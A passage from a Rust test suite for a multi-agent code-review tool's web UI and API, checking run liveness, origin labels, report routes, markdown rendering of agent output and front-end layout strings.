11065 rows[pr_run.id.as_str()]["unmerged_by_design"],
11066 false,
11067 "a Ready reached by a closed pull request is a different case"
11068 );
11069
11070 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11071 assert_eq!(none_detail["status"], "ready");
11072 assert_eq!(none_detail["unmerged_by_design"], true);
11073
11074 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11075 assert_eq!(pr_detail["unmerged_by_design"], false);
11076 }
11077
11078 #[tokio::test]
11083 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11084 let f = Fixture::start().await;
11085 let id = "20260902-140502-bbbb";
11089 let mut state = RunState::new(
11090 PathBuf::from("/repo/magi"),
11091 "main".to_owned(),
11092 "0123456789abcdef".to_owned(),
11093 "Add a web UI".to_owned(),
11094 Config::default(),
11095 );
11096 state.id = id.to_owned();
11097 state.status = RunStatus::Judging;
11098 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11099 let dir = f.runs().join(id);
11100 std::fs::create_dir_all(&dir).expect("run dir");
11101 std::fs::write(
11102 dir.join("run.json"),
11103 serde_json::to_string_pretty(&state).expect("serialize run"),
11104 )
11105 .expect("write run.json");
11106
11107 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11113 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11114 assert_eq!(cold["live"], "unknown", "{cold}");
11115
11116 write_daemon(f.home.path(), Timestamp::now());
11119 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11120 assert_eq!(warm["live"], "live", "{warm}");
11121 }
11122
11123 #[tokio::test]
11126 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11127 let f = Fixture::start().await;
11128 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11129 let mut state = RunState::new(
11130 PathBuf::from("/repo/magi"),
11131 "main".to_owned(),
11132 "0123456789abcdef".to_owned(),
11133 "Add a web UI".to_owned(),
11134 Config::default(),
11135 );
11136 state.id = id.to_owned();
11137 state.origin = origin;
11138 let mut value = serde_json::to_value(&state).expect("serialize run");
11139 if let Some(schema) = schema {
11140 value["schema"] = serde_json::json!(schema);
11141 value.as_object_mut().unwrap().remove("origin");
11142 }
11143 let dir = f.runs().join(id);
11144 std::fs::create_dir_all(&dir).expect("run dir");
11145 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11146 };
11147 write(
11148 "20260930-092817-ec34",
11149 Some(crate::run::Origin::from_agent_env(
11150 Some(("4a7b".to_owned(), "chat".to_owned())),
11151 None,
11152 )),
11153 None,
11154 );
11155 write("20260930-092817-0ld1", None, Some(12));
11156
11157 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11158 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11159 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11160
11161 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11162 assert_eq!(
11163 old["origin_label"], "origin unknown (started before origins were recorded)",
11164 "{old}"
11165 );
11166 assert!(old["origin"].is_null(), "{old}");
11167
11168 let list = f.get("/api/runs").await.json();
11169 let labels: Vec<_> = list
11170 .as_array()
11171 .unwrap()
11172 .iter()
11173 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11174 .collect();
11175 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11176 }
11177
11178 #[tokio::test]
11185 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11186 let f = Fixture::start().await;
11187 let id = "20260922-090000-cccc";
11188 let mut state = RunState::new(
11189 PathBuf::from("/repo/magi"),
11190 "main".to_owned(),
11191 "0123456789abcdef".to_owned(),
11192 "Review only".to_owned(),
11193 Config::default(),
11194 );
11195 state.id = id.to_owned();
11196 state.status = RunStatus::Reviewing;
11197 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11198 state.driver_pid = Some(std::process::id());
11204 state.driver_started_at = Some(
11205 crate::proc::process_started_at(std::process::id())
11206 .expect("this test process's own start time must be queryable"),
11207 );
11208 let dir = f.runs().join(id);
11209 std::fs::create_dir_all(&dir).expect("run dir");
11210 std::fs::write(
11211 dir.join("run.json"),
11212 serde_json::to_string_pretty(&state).expect("serialize run"),
11213 )
11214 .expect("write run.json");
11215
11216 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11217 assert_eq!(detail["live"], "live", "{detail}");
11218 }
11219
11220 #[tokio::test]
11226 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11227 let f = Fixture::start().await;
11228 let id = "20260922-090100-dddd";
11229 let mut state = RunState::new(
11230 PathBuf::from("/repo/magi"),
11231 "main".to_owned(),
11232 "0123456789abcdef".to_owned(),
11233 "Review only".to_owned(),
11234 Config::default(),
11235 );
11236 state.id = id.to_owned();
11237 state.status = RunStatus::Reviewing;
11238 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11239 state.driver_pid = Some(std::process::id());
11244 state.driver_started_at = Some("1".to_owned());
11245 let dir = f.runs().join(id);
11246 std::fs::create_dir_all(&dir).expect("run dir");
11247 std::fs::write(
11248 dir.join("run.json"),
11249 serde_json::to_string_pretty(&state).expect("serialize run"),
11250 )
11251 .expect("write run.json");
11252
11253 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11254 assert_eq!(detail["live"], "dead", "{detail}");
11255 }
11256
11257 #[test]
11261 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11262 let mk = |id: &str, pid: Option<u32>| {
11263 let mut s = RunState::new(
11264 PathBuf::from("/repo/magi"),
11265 "main".to_owned(),
11266 "0123456789abcdef".to_owned(),
11267 "Add a web UI".to_owned(),
11268 Config::default(),
11269 );
11270 s.id = id.to_owned();
11271 s.driver_pid = pid;
11272 s.driver_started_at = Some("1790000000".to_owned());
11273 s
11274 };
11275 let states = vec![
11276 mk("20260902-140502-aaaa", Some(77)),
11277 mk("20260902-140502-bbbb", Some(77)),
11278 mk("20260902-140502-cccc", Some(77)),
11279 mk("20260902-140502-dddd", None),
11280 ];
11281 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11282 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11283 let sup: HashMap<String, String> = [(
11284 "20260902-140502-aaaa".to_owned(),
11285 "20260902-140502-cccc".to_owned(),
11286 )]
11287 .into();
11288
11289 let status_calls = std::cell::Cell::new(0);
11290 let identity_calls = std::cell::Cell::new(0);
11291 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11292 |_| {
11293 status_calls.set(status_calls.get() + 1);
11294 Some(true)
11295 },
11296 |_| {
11297 identity_calls.set(identity_calls.get() + 1);
11298 Some("1790000000".to_owned())
11299 },
11300 ));
11301 let rows = summarize(
11302 states,
11303 &open,
11304 &claimed,
11305 &sup,
11306 |p| probe.borrow_mut().status(p),
11307 |p| probe.borrow_mut().started_at(p),
11308 );
11309
11310 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11311 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11312 assert_eq!(rows.len(), 4);
11313 assert!(!rows[0].waiting && rows[1].waiting);
11314 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11315 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11316 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11317 assert_eq!(rows[1].superseded_by, None);
11318 }
11319
11320 #[test]
11321 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11322 let mut state = RunState::new(
11323 PathBuf::from("/repo/magi"),
11324 "main".to_owned(),
11325 "0123456789abcdef".to_owned(),
11326 "Review only".to_owned(),
11327 Config::default(),
11328 );
11329 state.id = "20260922-090200-dead".to_owned();
11330 state.status = RunStatus::Reviewing;
11331 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11332 .expect("serialize list row");
11333 assert_eq!(row["status"], "reviewing");
11334 assert_eq!(row["live"], "dead", "{row}");
11335 assert!(!row["done"].as_bool().unwrap());
11336 }
11337
11338 #[tokio::test]
11339 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11340 let f = Fixture::start().await;
11341 for id in [
11342 "20260902-140501-aaaa",
11343 "20260902-140502-bbbb",
11344 "20260902-140503-cccc",
11345 ] {
11346 write_run(&f.runs(), id, RunStatus::Merged);
11347 }
11348
11349 let all = f.get("/api/runs").await.json();
11350 let capped = f.get("/api/runs?limit=2").await.json();
11351
11352 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11353 assert_eq!(all.as_array().map(Vec::len), Some(3));
11354 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11355 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11356 }
11357
11358 #[tokio::test]
11359 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11360 let f = Fixture::start().await;
11361 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11362
11363 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11364
11365 assert_eq!(res.status, 200);
11366 assert!(
11367 res.headers
11368 .contains("content-type: text/plain; charset=utf-8"),
11369 "a browser must render it, not download it: {}",
11370 res.headers
11371 );
11372 assert!(
11376 res.body.contains("20260902-140501-a1b2"),
11377 "the report is about the run that was asked for: {}",
11378 res.body
11379 );
11380 }
11381
11382 #[tokio::test]
11383 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11384 crate::run::pin_test_home();
11386 let f = Fixture::start().await;
11387 let id = "20260902-140501-a1b2";
11388 write_run(&f.runs(), id, RunStatus::Stalled);
11389 let path = f.runs().join(id).join("run.json");
11392 let mut v: serde_json::Value =
11393 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11394 v["tally"] = serde_json::json!({
11395 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11396 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11397 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11398 "met_quorum": false, "rankings": 1
11399 });
11400 v["reviews"] = serde_json::json!([{
11401 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11402 "e2e_deferred": true,
11403 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11404 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11405 ]}]
11406 }]);
11407 std::fs::write(&path, v.to_string()).unwrap();
11408 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11409 std::fs::write(
11410 f.runs().join("20260902-140502-dead").join("run.json"),
11411 "{not json",
11412 )
11413 .unwrap();
11414
11415 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11416
11417 assert_eq!(res.status, 200, "{}", res.body);
11418 assert!(res.headers.contains("content-type: application/json"));
11419 let j = res.json();
11420 assert_eq!(j["schema"], 1);
11421 assert_eq!(j["header"]["id"], id);
11422 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11423 let kinds: Vec<&str> = j["sections"]
11424 .as_array()
11425 .unwrap()
11426 .iter()
11427 .map(|s| s["kind"].as_str().unwrap())
11428 .collect();
11429 assert_eq!(kinds, ["candidates", "tally", "review"]);
11430 let tally = &j["sections"][1]["tally"];
11431 assert_eq!(
11432 (tally["decided"].clone(), tally["provisional"].clone()),
11433 (false.into(), true.into())
11434 );
11435 let round = &j["sections"][2]["rounds"][0];
11436 assert_eq!(round["e2e"]["state"], "deferred");
11437 assert_eq!(round["findings"][0]["severity"], "major");
11438 assert_eq!(round["findings"][0]["blocking"], true);
11439 assert_eq!(round["findings"][0]["state"], "open");
11440
11441 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11443
11444 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11446 assert_ne!(bad.status, 200, "{}", bad.body);
11447 assert_eq!(
11448 bad.status,
11449 f.get("/api/runs/20260902-140502-dead/report").await.status
11450 );
11451 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11452 assert_eq!(
11453 f.get("/api/runs/20260902-999999-ffff/report.json")
11454 .await
11455 .status,
11456 404
11457 );
11458 }
11459
11460 #[tokio::test]
11461 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11462 let f = Fixture::start().await;
11463
11464 let html = f.get("/").await;
11465 let css = f.get("/app.css").await;
11466 let js = f.get("/app.js").await;
11467
11468 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11469 assert!(
11470 html.headers
11471 .contains("content-type: text/html; charset=utf-8")
11472 );
11473 assert!(css.headers.contains("content-type: text/css"));
11474 assert!(js.headers.contains("content-type: text/javascript"));
11475 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11476 }
11477
11478 #[test]
11479 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11480 let body = |name: &str| {
11481 let at = APP_JS
11482 .find(name)
11483 .unwrap_or_else(|| panic!("{name} missing"));
11484 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11485 };
11486 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11487 let note = body("function landRoundNote");
11488 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11489 assert!(note.contains("Land round ${round}"));
11490 let land = body("function renderLand");
11491 let note_at = land
11492 .find("landRoundNote(pr)")
11493 .expect("renderLand uses the note");
11494 assert!(
11495 note_at
11496 < land
11497 .find("roundRail(pr)")
11498 .expect("renderLand uses the rail")
11499 );
11500 }
11501
11502 #[test]
11503 fn the_runs_page_redesign_keeps_its_guards() {
11504 let body = |name: &str| {
11505 let at = APP_JS
11506 .find(name)
11507 .unwrap_or_else(|| panic!("{name} missing"));
11508 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11509 };
11510 let land = body("function renderLand");
11512 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11513 assert!(
11514 !land.contains("box.append("),
11515 "renderLand must use append()"
11516 );
11517 assert!(land.contains("append(box, ["));
11518 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11520 assert!(
11521 body("function applyRoute")
11522 .contains("route.name !== state.route.name || route.id !== state.route.id")
11523 );
11524 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11526 assert!(!INDEX_HTML.contains("advise-converge"));
11527 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11528 assert!(APP_JS.contains("provisional"));
11529 for id in [
11530 "run-tab-overview",
11531 "run-tab-timeline",
11532 "run-tab-report",
11533 "run-report",
11534 "runs-scope",
11535 ] {
11536 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11537 }
11538 assert!(!INDEX_HTML.contains("runs-tree"));
11539 assert!(!INDEX_HTML.contains("run-raw-panel"));
11540 assert!(APP_JS.contains("resume"));
11542 assert!(APP_JS.contains("unreadable"));
11544 }
11545
11546 #[test]
11547 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11548 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11549 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11550 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11551 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11552 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11553 assert!(APP_JS.contains("unreadable` : null"));
11555 }
11556
11557 #[test]
11558 fn the_run_detail_payload_says_whether_the_run_is_done() {
11559 for (status, done) in [
11561 (RunStatus::Superseded, true),
11562 (RunStatus::Blocked, true),
11563 (RunStatus::Landing, false),
11564 ] {
11565 let mut state = RunState::new(
11566 std::path::PathBuf::from("/repo"),
11567 "main".to_owned(),
11568 "abc".to_owned(),
11569 "x".to_owned(),
11570 crate::config::Config::default(),
11571 );
11572 state.status = status;
11573 let v = serde_json::to_value(RunDetailView::of(
11574 state,
11575 crate::run::Liveness::Unknown,
11576 None,
11577 None,
11578 None,
11579 ))
11580 .unwrap();
11581 assert_eq!(v["done"], done, "{status:?}");
11582 }
11583 }
11584
11585 fn has_strong(nodes: &[md::Node]) -> bool {
11587 serde_json::to_string(nodes).unwrap().contains("strong")
11588 }
11589
11590 #[test]
11591 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11592 let mut state = RunState::new(
11593 std::path::PathBuf::from("/repo"),
11594 "main".to_owned(),
11595 "abc".to_owned(),
11596 "x".to_owned(),
11597 crate::config::Config::default(),
11598 );
11599 let proposal = |approach: &str| {
11600 serde_json::json!({
11601 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11602 })
11603 };
11604 state.advice = Some(
11605 serde_json::from_value(serde_json::json!({
11606 "records": [
11607 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11608 "proposal": proposal("do **this**")},
11609 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11610 ],
11611 "synthesis": "- one\n- **two**\n\n`code`",
11612 }))
11613 .unwrap(),
11614 );
11615 state.candidates = serde_json::from_value(serde_json::json!([
11616 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11617 "summary": "did **it**"},
11618 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11619 ]))
11620 .unwrap();
11621 state.reviews = serde_json::from_value(serde_json::json!([{
11624 "round": 1, "head": "h",
11625 "reviews": [{
11626 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11627 "findings": [
11628 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11629 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11630 ],
11631 }],
11632 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11633 "fix": {"agent": "a", "notes": "fixed **it**",
11634 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11635 }, {"round": 2, "head": "h2", "reviews": []}]))
11636 .unwrap();
11637
11638 let v = serde_json::to_value(RunDetailView::of(
11639 state,
11640 crate::run::Liveness::Unknown,
11641 None,
11642 None,
11643 None,
11644 ))
11645 .unwrap();
11646
11647 let strong = |p: &str| {
11648 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11649 assert!(n.to_string().contains("strong"), "{p}: {n}");
11650 };
11651 strong("/advice_md/synthesis");
11652 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11653 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11654 strong("/advice_md/approaches/0");
11655 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11656 strong("/candidate_summaries_md/0");
11657 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11658 strong("/reviews_md/0/reviewers/0/summary");
11659 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11660 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11661 assert!(f[1].to_string().contains("strong"));
11662 strong("/reviews_md/0/reconsideration/0");
11663 strong("/reviews_md/0/fix/notes");
11664 strong("/reviews_md/0/fix/rejected/0");
11665 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11666 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11667 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11669 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11670 }
11671
11672 #[test]
11673 fn a_run_without_advice_has_no_advice_md() {
11674 let state = RunState::new(
11675 std::path::PathBuf::from("/repo"),
11676 "main".to_owned(),
11677 "abc".to_owned(),
11678 "x".to_owned(),
11679 crate::config::Config::default(),
11680 );
11681 let p = run_prose_md(&state);
11682 assert!(p.advice_md.is_none());
11683 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11684 }
11685
11686 #[test]
11687 fn a_question_view_carries_markdown_for_each_thread_turn() {
11688 let home = TempDir::new().unwrap();
11689 let store = ask::Questions::at(home.path().join("questions"));
11690 let mut q = Question::new(
11691 "run".to_owned(),
11692 "implement".to_owned(),
11693 "impl-A".to_owned(),
11694 "which?".to_owned(),
11695 String::new(),
11696 Vec::new(),
11697 );
11698 q.say("plain words").unwrap();
11699 q.reply("use **this**", Vec::new()).unwrap();
11700 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11701 let bodies = &v["thread_bodies_md"];
11702 assert_eq!(bodies.as_array().unwrap().len(), 2);
11703 assert!(!bodies[0].to_string().contains("strong"));
11704 assert!(bodies[1].to_string().contains("strong"));
11705 }
11706
11707 #[test]
11708 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11709 assert!(APP_JS.contains("function landView(run, raw) {"));
11713 assert!(
11714 APP_JS.contains(
11715 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11716 )
11717 );
11718 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11719 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11720 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11721 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11722 }
11723
11724 #[test]
11725 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11726 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11727 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11728 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11729 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11730 }
11731
11732 #[test]
11733 fn review_rounds_label_a_distinct_verified_head() {
11734 assert!(APP_JS.contains("round.verified_head"));
11735 assert!(APP_JS.contains("verified HEAD"));
11736 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11737 }
11738
11739 #[test]
11740 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11741 assert!(APP_JS.contains("blocked: { glyph:"));
11745 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11746
11747 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11751 assert!(
11752 APP_JS.contains(
11753 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11754 ),
11755 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11756 );
11757 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11761
11762 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11766 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11767 assert!(
11768 APP_JS.contains("location.hash = \"#/questions\";"),
11769 "a question node must jump to the Questions screen, not pretend to be a task"
11770 );
11771
11772 assert!(APP_JS.contains("Resolved questions"));
11775 assert!(APP_JS.contains("r.answersList.append("));
11776 assert!(APP_CSS.contains(".task-answers"));
11777 {
11778 let start = APP_JS
11779 .find("function updateTalkTaskRow")
11780 .expect("updateTalkTaskRow");
11781 let body = &APP_JS[start..];
11782 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11783 assert!(
11784 body.contains(
11785 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11786 ),
11787 "a chat-filed task row must link to the task page"
11788 );
11789 assert!(
11790 !body.contains("#/runs/") && !body.contains("#/queue/"),
11791 "the row must not branch to a run or the queue card"
11792 );
11793 assert!(APP_CSS.contains(".talk-task-link"));
11794 }
11795 }
11796
11797 #[test]
11798 fn a_task_notification_links_to_the_task_page() {
11799 let start = APP_JS
11801 .find("function noticeLink(")
11802 .expect("noticeLink exists");
11803 let body = &APP_JS[start..];
11804 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11805 assert!(
11806 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11807 "a task notice's link must target the task page"
11808 );
11809 assert!(
11810 !body.contains("#/queue/"),
11811 "regression: the task link must not go back to the Backlog route"
11812 );
11813 assert!(
11814 APP_JS.contains(
11815 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11816 ),
11817 "`#/tasks/<id>` must parse into the task route"
11818 );
11819
11820 assert!(
11822 APP_JS.contains(
11823 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11824 ),
11825 "`#/queue/<id>` must parse into a route carrying that id"
11826 );
11827
11828 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11832 assert!(APP_JS.contains("function consumeQueueFocus()"));
11833 assert!(APP_JS.contains("jumpToTask(id)"));
11834 }
11835
11836 #[test]
11839 fn chat_rows_put_the_title_alone_on_the_first_line() {
11840 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
11841 assert!(APP_CSS.contains(
11842 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11843 ));
11844 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11845 assert!(APP_JS.contains("class: \"badge talk-unread\""));
11846 }
11847
11848 #[test]
11849 fn run_rows_put_the_title_alone_on_the_first_line() {
11850 assert!(
11851 APP_CSS.contains(
11852 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
11853 )
11854 );
11855 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11856 assert!(APP_JS.contains("class: \"card run-card\""));
11857 assert!(APP_JS.contains("class: \"repo run-id\""));
11858 }
11859
11860 #[test]
11864 fn wide_screens_show_list_and_preview_side_by_side() {
11865 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11867 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11868 assert!(APP_CSS.contains("main[data-split]"));
11869 assert!(APP_CSS.contains("body[data-split]"));
11870
11871 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
11873 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11874 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11875 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11876 assert!(INDEX_HTML.contains("id=\"split-empty\""));
11877
11878 assert!(APP_JS.contains("function markSelected() {"));
11880 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11881 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11882 assert!(
11884 APP_CSS.contains(
11885 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11886 )
11887 );
11888
11889 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11891 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11892 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11893 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11894
11895 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11899 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11900 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11901 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11902
11903 assert!(APP_JS.contains("sandbox: \"\""));
11905 assert!(!APP_JS.contains("sandbox: \"allow"));
11906 }
11907
11908 #[test]
11909 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11910 assert!(
11919 APP_JS.contains(
11920 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
11921 ),
11922 "the search-clearing branch must run before state.queueFocus is cleared, or the \
11923 recursive renderQueue() call has nothing left to jump to"
11924 );
11925 assert!(
11926 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11927 "state.queueFocus must be cleared only once the jump has landed, so a card that \
11928 arrives later still gets it"
11929 );
11930 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11931 assert!(APP_JS.contains("is not in the current Backlog."));
11932 assert!(APP_JS.contains("li.card[data-task-id=\""));
11933 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11934 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11935 assert!(APP_CSS.contains(".card-permalink"));
11936 assert!(APP_CSS.contains(".queue-focus-status"));
11937 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11938 }
11939
11940 #[test]
11941 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11942 assert!(
11950 APP_JS.contains(
11951 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11952 ),
11953 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11954 );
11955 }
11956
11957 #[test]
11958 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11959 assert!(
11960 APP_JS.contains("round.verified_head !== round.head"),
11961 "a round that verified an earlier commit must be visibly distinct from one that \
11962 verified the head reviewers are looking at now"
11963 );
11964 assert!(
11965 APP_JS.contains("round.verified_at"),
11966 "when a check ran must be on the wire, not just which commit"
11967 );
11968 assert!(
11969 APP_JS.contains("resource_blocked"),
11970 "a command magi never got to run (shared build cache contention) must not render \
11971 the same as a command that ran and failed"
11972 );
11973 }
11974
11975 #[test]
11976 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11977 assert!(
11985 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11986 "every KPI tile built through statusTile() must route its click through \
11987 openRunsFiltered, the single place that sets the Runs filter"
11988 );
11989 for (label, status) in [
11990 ("Merged", "merged"),
11991 ("Ready", "ready"),
11992 ("Blocked", "blocked"),
11993 ("Stalled", "stalled"),
11994 ] {
11995 let call = format!("statusTile(\"{label}\", t.{status}, ");
